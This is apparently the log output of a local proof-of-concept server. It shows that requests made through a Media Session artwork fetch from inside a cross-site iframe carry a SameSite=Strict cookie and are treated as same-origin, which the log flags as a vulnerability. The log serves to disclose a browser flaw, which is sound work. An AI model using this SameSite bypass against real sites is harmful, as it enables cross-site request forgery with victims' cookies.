[*] POC server listening on http://127.0.0.1:9999/
[*] Victim host  : 127.0.0.1
[*] Attacker host: localhost
------------------------------------------------------------------------------
[127.0.0.1] GET /csrf-target?via=cross-site-img-from-iframe
    Cookie         : <none>
    Sec-Fetch-Site : cross-site
    Sec-Fetch-Mode : no-cors
    Sec-Fetch-Dest : image
    Referer        : http://localhost:9999/
------------------------------------------------------------------------------
[127.0.0.1] GET /csrf-target?via=mediasession-artwork
    Cookie         : secret=STRICT_SECRET
    Sec-Fetch-Site : same-origin
    Sec-Fetch-Mode : no-cors
    Sec-Fetch-Dest : image
    Referer        : http://127.0.0.1:9999/  <<< VULN: SameSite=Strict cookie + first-party context laundered by cross-site iframe
------------------------------------------------------------------------------
[127.0.0.1] GET /csrf-target?via=mediasession-artwork
    Cookie         : secret=STRICT_SECRET
    Sec-Fetch-Site : same-origin
    Sec-Fetch-Mode : no-cors
    Sec-Fetch-Dest : image
    Referer        : http://127.0.0.1:9999/  <<< VULN: SameSite=Strict cookie + first-party context laundered by cross-site iframe